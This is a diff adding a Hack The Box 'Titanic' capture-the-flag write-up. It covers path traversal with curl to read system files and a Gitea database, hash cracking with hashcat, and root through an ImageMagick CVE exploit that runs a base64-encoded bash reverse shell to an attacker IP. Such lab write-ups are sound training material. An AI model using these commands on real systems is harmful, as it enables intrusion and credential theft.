$ PDS_ENV_FILE=/path/to/pds.env./request-crawl.sh
|
||||
Requesting crawl from https://bsky.network
|
||||
done
|
||||
|
||||
```
|
||||
|
||||
|
||||
### Finally
|
||||
## Finally
|
||||
|
||||
Once the handle update is complete, you can restart the server in detached mode with the command below.
|
||||
|
||||
@ -261,7 +265,7 @@ Once the handle update is complete, you can restart the server in detached mode
|
||||
$ docker-compose up -d
|
||||
```
|
||||
|
||||
### References
|
||||
## References
|
||||
|
||||
* [Bluesky PDS](https://github.com/bluesky-social/pds/)
|
||||
* [Atproto Self Hosting Documentation](https://atproto.com/guides/self-hosting)
|
||||
|
236
posts/2025-03-24-htb-1-titanic.md
Normal file
236
posts/2025-03-24-htb-1-titanic.md
Normal file
@ -0,0 +1,236 @@
|
||||
---
|
||||
title: HTB WriteUP - Titanic
|
||||
categories:
|
||||
- HTB
|
||||
tags:
|
||||
- htb
|
||||
- pentest
|
||||
- vulnerability
|
||||
- path traversal
|
||||
published_date: 2025-03-24 17:11:04.368635444 +0000
|
||||
layout: default.liquid
|
||||
is_draft: false
|
||||
---
|
||||
# HTB WriteUP - Titanic
|
||||
|
||||
## Enumeration
|
||||
|
||||
```bash
|
||||
export IP=10.10.11.55
|
||||
```
|
||||
|
||||
### Initial Nmap Scan
|
||||
|
||||
We start with Nmap enumeration:
|
||||
|
||||
```bash
|
||||
$ nmap -sV -oA Enums/nmap/initial -Pn $IP
|
||||
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-21 05:57 EDT
|
||||
Nmap scan report for 10.10.11.55
|
||||
Host is up (0.13s latency).
|
||||
Not shown: 998 closed tcp ports (conn-refused)
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
|
||||
80/tcp open http Apache httpd 2.4.52
|
||||
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||||
|
||||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
Nmap done: 1 IP address (1 host up) scanned in 22.66 seconds
|
||||
```
|
||||
|
||||
We found both HTTP and SSH services. We will investigate the HTTP service on port 80.
|
||||
|
||||
### HTTP Service (Port 80)
|
||||
|
||||
```bash
|
||||
$ whatweb $IP
|
||||
http://10.10.11.55 [301 Moved Permanently] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.55], RedirectLocation[http://titanic.htb/], Title[301 Moved Permanently]
|
||||
ERROR Opening: https://titanic.htb/ - no address for titanic.htb
|
||||
```
|
||||
|
||||
The IP redirects but is not found via DNS resolution. We add the DNS entry to `/etc/hosts` to resolve it correctly:
|
||||
|
||||
```bash
|
||||
$ echo "$IP titanic.htb" | sudo tee -a /etc/hosts
|
||||
```
|
||||
|
||||
Now, running `whatweb` again:
|
||||
|
||||
```bash
|
||||
$ whatweb $IP
|
||||
http://10.10.11.55 [301 Moved Permanently] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.55], RedirectLocation[http://titanic.htb/], Title[301 Moved Permanently]
|
||||
http://titanic.htb/ [200 OK] Bootstrap[4.5.2], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.10.12], IP[10.10.11.55], JQuery, Python[3.10.12], Script, Title[Titanic - Book Your Ship Trip], Werkzeug[3.0.3]
|
||||
```
|
||||
|
||||
We discover the website at `http://titanic.htb/` is a Titanic-themed booking site. Next, we perform a directory brute force scan with `gobuster`.
|
||||
|
||||
```bash
|
||||
$ gobuster dir -u $TARGET -b 404 --wordlist /usr/share/dirb/wordlists/common.txt
|
||||
===============================================================
|
||||
Gobuster v3.6
|
||||
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
|
||||
===============================================================
|
||||
[+] Url: http://titanic.htb
|
||||
[+] Method: GET
|
||||
[+] Threads: 10
|
||||
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
|
||||
[+] Negative Status codes: 404
|
||||
[+] User Agent: gobuster/3.6
|
||||
[+] Timeout: 10s
|
||||
===============================================================
|
||||
Starting gobuster in directory enumeration mode
|
||||
===============================================================
|
||||
/book (Status: 405) [Size: 153]
|
||||
/download (Status: 400) [Size: 41]
|
||||
/server-status (Status: 403) [Size: 276]
|
||||
Progress: 4614 / 4615 (99.98%)
|
||||
===============================================================
|
||||
Finished
|
||||
===============================================================
|
||||
```
|
||||
|
||||
Using the form on the index page, we note that booking requests send a POST to create a booking, and a booking is available at `http://titanic.htb/download?ticket=<uuid>.json`.
|
||||
|
||||
We hypothesize that the `/book` endpoint creates a JSON file, which can be accessed at `/download`.
|
||||
|
||||
We test for path traversal vulnerabilities by manipulating the `ticket` parameter.
|
||||
|
||||
### Path Traversal Exploit
|
||||
|
||||
We can access files outside the download directory, such as `/etc/passwd`:
|
||||
|
||||
```bash
|
||||
$ curl http://titanic.htb/download?ticket=/etc/passwd
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
...
|
||||
```
|
||||
|
||||
Additionally, we can access `/etc/hosts`:
|
||||
|
||||
```bash
|
||||
$ curl http://titanic.htb/download?ticket=/etc/hosts
|
||||
127.0.0.1 localhost titanic.htb dev.titanic.htb
|
||||
127.0.1.1 titanic
|
||||
# The following lines are desirable for IPv6 capable hosts
|
||||
::1 ip6-localhost ip6-loopback
|
||||
...
|
||||
```
|
||||
|
||||
We add `dev.titanic.htb` to `/etc/hosts` to resolve this new hostname.
|
||||
|
||||
#### Accessing the Gitea Service
|
||||
|
||||
On `dev.titanic.htb`, we find a Gitea instance running version 1.22.1. Two public repositories are available:
|
||||
|
||||
- `http://dev.titanic.htb/developer/flask-app` (contains code for the Flask app)
|
||||
- `http://dev.titanic.htb/developer/docker-config` (contains Docker compose for the app)
|
||||
|
||||
In the Docker configuration, we found a MySQL configuration with the root password ```MySQLP@$$w0rd!```. However, it didn't seem like the MySQL server was running, so we kept this information but it appeared to be unusable at the moment.
|
||||
|
||||
Additionally, we discovered that Gitea data is located at ```/home/developer/gitea/data/gitea``` in the Docker Compose files. We can use path traversal to access this data.
|
||||
|
||||
#### Extracting the Database
|
||||
|
||||
Looking at the Gitea documentation, we guessed the path of the Gitea database file and retrieved it:
|
||||
|
||||
```bash
|
||||
$ curl http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db -o gitea.db
|
||||
```
|
||||
|
||||
We can explore the database to extract valuable information.
|
||||
|
||||
#### Cracking the Password
|
||||
|
||||
After doing some research on Gitea password storage, we found a tool called giteatohashcat that allows us to extract the password hashes, avoiding the need to extract them manually:
|
||||
|
||||
```bash
|
||||
$ git clone https://github.com/BhattJayD/giteatohashcat
|
||||
$ cd giteatohashcat/
|
||||
$ python giteaToHashcat.py ../../gitea.db
|
||||
[+] Extracting password hashes...
|
||||
[+] Extraction complete. Output:
|
||||
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
|
||||
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
|
||||
...
|
||||
```
|
||||
|
||||
We focused on the `developer` user, as we identified that there is an SSH user with the same username and a shell. We hoped it used the same password, so we attempted to crack the password `hash` using hashcat.
|
||||
|
||||
```bash
|
||||
hashcat -m 10900 sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y= /usr/share/wordlists/rockyou.txt.gz
|
||||
....
|
||||
```
|
||||
|
||||
After successfully cracking the hash, we get the password `25282528`.
|
||||
|
||||
#### Getting SSH Access
|
||||
|
||||
We tried this password to access the ```developer``` account via SSH, and it worked::
|
||||
|
||||
```bash
|
||||
$ ssh developer@titanic.htb
|
||||
$ whoami
|
||||
developer
|
||||
$ cat user.txt
|
||||
979fbe270d355153aa5ee87ce670b273
|
||||
```
|
||||
|
||||
Now we have foothold on the machine and our first user flag.
|
||||
|
||||
### Lateral Movement
|
||||
|
||||
After some exploring on the filesystem, we found an interesting script in `opt`: `/opt/scripts/identify_images.sh`. This script generates a `metadata.log` file for every `jpg` file using `ImageMagick` in `/opt/app/static/assets/images/` periodically (approximately every minute). The script seems to run as the `root` user, making it an interesting target.
|
||||
|
||||
We check the version of `ImageMagick`:
|
||||
|
||||
```bash
|
||||
$ magick --version
|
||||
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
|
||||
```
|
||||
|
||||
Searching for vulnerabilities in this version, we find a [CVE-2024-41817](https://github.com/Dxsk/CVE-2024-41817-poc) exploit.
|
||||
|
||||
We use this exploit to create a reverse shell as root.
|
||||
|
||||
#### Exploiting the Vulnerability
|
||||
|
||||
On our attack machine, we create a malicious shared library that will be loaded by ImageMagick:
|
||||
|
||||
```bash
|
||||
$ git clone https://github.com/Dxsk/CVE-2024-41817-poc
|
||||
$ cd CVE-2024-41817-poc/
|
||||
$ python3 exploit.py -c "echo ZXhlYyA1PD4vZGV2L3RjcC8xMC4xMC4xNi4zLzkwMDE7Y2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU= |base64 -d |bash" -H titanic.htb -p 22 -u developer -P 25282528 -A
|
||||
```
|
||||
|
||||
This generates the malicious shared library, which we then move to `/opt/app/static/assets/images/` on the target machine:
|
||||
|
||||
```bash
|
||||
mv /tmp/libxcb.so /opt/app/static/assets/images/libxcb.so.1
|
||||
```
|
||||
|
||||
#### Reverse Shell
|
||||
|
||||
On our attacker machine, we set up a listener:
|
||||
|
||||
```bash
|
||||
$ nc -lvnp 9001
|
||||
listening on [any] 9001 ...
|
||||
```
|
||||
|
||||
Once the script runs, we receive the reverse shell and become `root`:
|
||||
|
||||
```bash
|
||||
$ whoami
|
||||
root
|
||||
$ cd
|
||||
$ cat root.txt
|
||||
867da4d778e3cb6d310e60f2ae7366c1
|
||||
```
|
||||
|
||||
We have gained root access and obtained the root flag!
|
||||
|
||||
|
||||
## Conclusion
|
||||
|
||||
This exploitation process highlights how a simple path traversal vulnerability can lead to more serious security issues. What initially can be seemed like a simple information disclosure vulnerability allowed us to access sensitive files, extract credentials, and ultimately escalate privileges.
|
Loading…
x
Reference in New Issue
Block a user